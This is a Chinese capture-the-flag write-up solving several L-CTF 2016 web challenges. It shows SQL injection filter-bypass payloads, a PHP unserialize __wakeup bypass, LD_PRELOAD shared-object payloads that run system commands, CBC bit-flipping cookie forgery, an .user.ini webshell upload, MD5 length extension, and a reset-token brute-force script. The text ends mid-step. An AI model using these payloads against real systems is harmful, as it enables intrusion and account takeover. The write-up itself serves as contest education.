web50 簽到:
http://web.l-ctf.com:6699/sh0p.php
post:
uname=a'%0aanandd%0aupdupdatexmlatexml(1,concat(0x7e,version(),0x7e),1)%23&passwd=a
過濾了一些關鍵字為空,過濾空格為空
對information做了限制,通過萬能密碼進入:
uname=a'%0aunion%0aselselectect%0a1,1#&passwd=1
改一下數量為-1,再跑4位數字密碼,得到密碼5487,獲得flag:
flag is here: LCTF{Th1nks_@f0r_#your_%supp0rt}
Web200 睡過了
__wakeup引發的漏洞
http://www.venenof.com/index.php/archives/167/
大概情況就是在unserialize的時候,如果對象的屬性增加了,會導致__wakeup中的代碼不被執行。
其中preg_match('/O:\d+:/',\(key,\)match);,可以用+繞過,在訪問的時候要url編碼一下+號...
http://web.l-ctf.com:10197/ctf/upload.php?key=O:%2b3:"key":3:{s:8:"filename";s:9:"lemon.php";s:8:"filedata";s:24:"
";}
<?php
class key{
var $filename;
var $filedata;
function __wakeup(){
echo "Waking up.........<br/>";
foreach(get_object_vars($this) as $key=>$value){
$this->$key = null;
echo $key." => ".$this->$key;
echo "<br />";
}
echo "Finished<br/>";
echo "<br/>";
}
function __destruct(){
//Do something
$this->my_file_put_contents($this->filename,$this->filedata);
}
function my_file_put_contents($file_path,$data){
if($file_path && $data){
$rs=file_put_contents('./upload/'.md5($this->filename).'.php',$this->filedata);
echo $rs." written";
}
}
}
$key=$_GET['key'];
preg_match('/O:\d+:/',$key,$match);
if($match){
exit("據說這種key加也衿br/>");
}
$Obj=unserialize($key);
?>
環境變量LD_PRELOAD來繞過,要注意編譯環境,此題是需要在x86的機器上編譯:
http://wooyun.jozxing.cc/static/drops/tips-16054.html
列目錄:
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void payload()
{
DIR* dir;
struct dirent* ptr;
dir = opendir("/");
FILE *fp;
fp=fopen("/tmp/venenoveneno","w");
while ((ptr = readdir(dir)) != NULL) {
fprintf(fp,"%s\n",ptr->d_name);
}
closedir(dir);
fflush(fp);
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
執行命令:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
讀取文件內容:
void payload(){
}
編譯成so文件:
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
php內容:
<?php
putenv("LD_PRELOAD=/var/www/ctf/upload/2.so");
mail("a@localhost","","","","");
var_dump(1);
echo file_get_contents("/var/www/ctf/upload/fuckaaa");
?>
最后能在/var/www/flag目錄下發現flag
Web250 蘇打學姐的網站
http://web.l-ctf.com:14144/img.php?id=php://resource=jpg/resource=file/tips.txt
img.php
<?php
if(isset($_GET["id"]) && (strpos($_GET["id"],'jpg') !== false))
{
preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($_GET["id"],'\n'), $match);
if (isset($match[1]))
$_GET["id"] = $match[1];
if (file_exists("./" . $_GET["id"]) == false)
die("File Not Found");
header('Content-Type: image/jpg');
header('Content-Length: '.filesize($_GET["id"]));
header('Content-Disposition: filename='.$_GET["id"]);
if (strlen($_GET["id"])>32){
die ("Too Long!!!!!");
}
else{
$data = file_get_contents($_GET["id"]);
echo $data;
}
}
else
{
echo "File Not Found";
}
?>
</html>
得到:
/admin_5080e75b2fe1fb62ff8d9d97db745120
file/admin.php.txt
admin.php.txt
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>
通過cbc攻擊修改cookie:
http://www.venenof.com/index.php/archives/15/
cbc是16字節為一組
上一組的密文會影響當前組的密文,比如:
1234567890abcdef
1234567890abcdef
1234567890abcdef
1234567890auid=9
;123123123123
我們只需要修改第三組密文對應第四組“9”的位置的密文就可以實現第四組明文的改變。即第47位。
利用腳本:
<?php
$enc=base64_decode("S9PsFp43k9VgyrggRHLbISjUAjwzSSPPajrF9Dzz0o/ieSZbxwGjTJ5xhAZEi5tDBjvwsQtH0BynlLC0p0F0zOZMx25M6iekcLvX//MNKSA=");
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
echo base64_encode($enc);
?>
故這題可以這樣解:
➜ Desktop cat cbc.php
<?php
$enc=base64_decode("dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wd/DZqyNfLQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM");
$enc[63] = chr(ord($enc[63]) ^ ord("4") ^ ord ("1"));
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
echo base64_encode($enc);
?>
➜ Desktop php cbc.php
dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wt/DZqyNebQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM
注意url編碼問題...
得到:
/upload_12b1d89eb3a43eb6220b5952a5a13785/index.php
nginx,又可以上傳.user.ini,故可以拿到一個webshell
文章:http://wooyun.jozxing.cc/static/drops/tips-3424.html
上傳的.user.ini
auto_prepend_file=fuckaaa.jpg
getshell:
Web300 你一定不能來這
http://web.l-ctf.com:33333/crossdomain.xml
可得到域名:
xdctfweb.xd-a8.com
http://xdctfweb.xd-a8.com/download.php?filename=download.php&mac=f30a38d3cdcb25cf067468c2f108e1f5
<?php
require("common.php");
function varify_hash($filename,$hash,$secret){
if(strpos($filename,"www.rar")>-1){
if($hash === md5($secret.$filename)){
download("www.rar");
}
else
exit("mac不對,你根本不是xdsec的人。") ;
}
elseif(strpos($filename,"download.php")>-1){
if($hash === md5($secret.$filename)){
download("download.php");
}
else
exit("mac不對,你根本不是xdsec的人。");
}
else
exit("沒有你要下載的文件。");
}
$filename = urldecode($_GET['filename']);
$hash = $_GET['mac'];
if(!empty($filename) && !empty($hash)){
varify_hash($filename,$hash,$secret);
}
else
exit("參數為空");
?>
md5長度擴展攻擊:
http://blog.chinaunix.net/uid-27070210-id-3255947.html
https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html
https://github.com/JoyChou93/md5-extension-attack
用txt打開這個rar,在尾部發現,混淆的jsfuck:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$_+$._$$+$._$+(![]+"")[$._$_]+$.$$$_+"."+(![]+"")[$._$_]+$._$+"\\"+$.__$+$.$__+$.$$$+"(\\\"\\"+$.__$+$._$$+$.__$+$._$+"\\"+$.__$+$._$_+$.$_$+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.$__+$.$$$+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$.$__+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$._$$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.__$+$.$$_+$.__+$.$$$_+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$._$_+$._$$+$.__+$.$$$_+$.$$_$+"\\"+$.$__+$.___+"\\"+$.__$+$._$_+$.$__+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$__+$.$$$+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+$.$$$$+"\\"+$.$__+$.___+"\\"+$.__$+$._$$+$.__$+$._$+$._+"\\"+$.$__+$.___+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.___+$.__$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.$__+$.___+$.$$_$+$.$$$_+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.__$+$.$$$+$.$$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.$_$+$.$$$_+"\\"+$.$__+$.___+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.$__+$.___+$.__+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"\\"+$.__$+$.___+$.$_$+".\\\"\\"+$.$__+$.___+")"+"\"")())();
把最后()改成.toString()
YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE.
然后就是培根密碼:
小寫是A大寫是B:
BABBB
BABBB
AAABB
AAABB
AAABA
AAABA
BAABB
BAABB
AABAB
AABAB
得到rar解壓密碼是:XXDDCCTTFF
checktoken.php
<?php
require('sql.php');
require('secret.php');
if(!empty($_GET['email']) && !empty($_GET['id']) && !empty($_GET['token'])) {
$email = $result->email;
$id = $result->id;
$token = $result->token;
if($id === '0'){
if($_GET['email']===$email){
if($_GET['token']===$token)
echo $flag;
else
echo "token不對。";
}
else
echo "郵箱不對。";
}
else
echo "你想重置一個非創始人的密碼,可這又有什么用呢?";
}
else
echo "參數不完整。";
?>
resetpwd.php
<?php
require('sql.php');
require('function.php');
if(!empty($_POST['email'])){
$email = $_POST['email'];
if($email === "omego952734@xdsec.club"){
$Time_check = verifyTime();
//檢查有沒有超過10分鍾
if($Time_check){
$date = time();
$rand=(string)rand(1,1000);
$token = md5($date.$rand);
$updateDate = "UPDATE `XDctf_web_350`.`user` SET `date` =".$date." WHERE `user`.`id` = 0;";
$query = mysql_query($updateDate);
$updateToken = "UPDATE `XDctf_web_350`.`user` SET `token` =".'\''.$token.'\''." WHERE `user`.`id` = 0;";
$query = mysql_query($updateToken);
echo "<script>alert('重置密碼鏈接已經發送。有效期為30分鍾。');</script>";
}
else
echo "<script>alert('鏈接還沒過有效期,請登錄郵箱查看。');</script>";
}
else
echo "<script>alert('管理員的郵箱根本不是這個。');</script>";
}
?>
分為兩步:
第一步是搶到重置時候的時間戳:
第二部是爆破token
第一步:
#!/usr/bin/python
# coding=utf-8
import requests
import time
import sys
import hashlib
reload(sys)
sys.setdefaultencoding('utf8')
def md5(mingwen):
mingwen = str(mingwen)
m1 = hashlib.md5()
m1.update(mingwen)
return m1.hexdigest()
data = {
'email':'omego952734@xdsec.club',
'submit':'%E6%8F%90%E4%BA%A4'
}
url = "http://web.l-ctf.com:33333/resetpwd.php"
cookie = "PHPSESSID=q4lb8pavbth0r65rr4ktoaap00"
i = 1
while 1:
i += 1
try:
r = requests.post(url, data=data, timeout=1)
except Exception,e:
print e
pass
if u'10分鍾'.decode("utf-8") in r.content.decode('utf-8') or "已經發送" in r.content:
t = int(time.time())
print t
print r.content
print r.headers
exit()
break
print i
print r.content
返回的是:
{'Content-Length': '347', 'X-Powered-By': 'PHP/5.5.9-1ubuntu4.19', 'Content-Encoding': 'gzip', 'Vary': 'Accept-Encoding', 'Server': 'nginx/1.6.2', 'Connection': 'keep-alive', 'Date': 'Mon, 03 Oct 2016 03:18:42 GMT', 'Content-Type': 'text/html'}
服務器返回的Date里面的是gmt時間!!換成北京時間還是需要加上8小時,然后時間戳前后+5,或者是獲取本地的當前時間。
然后burp跑一發: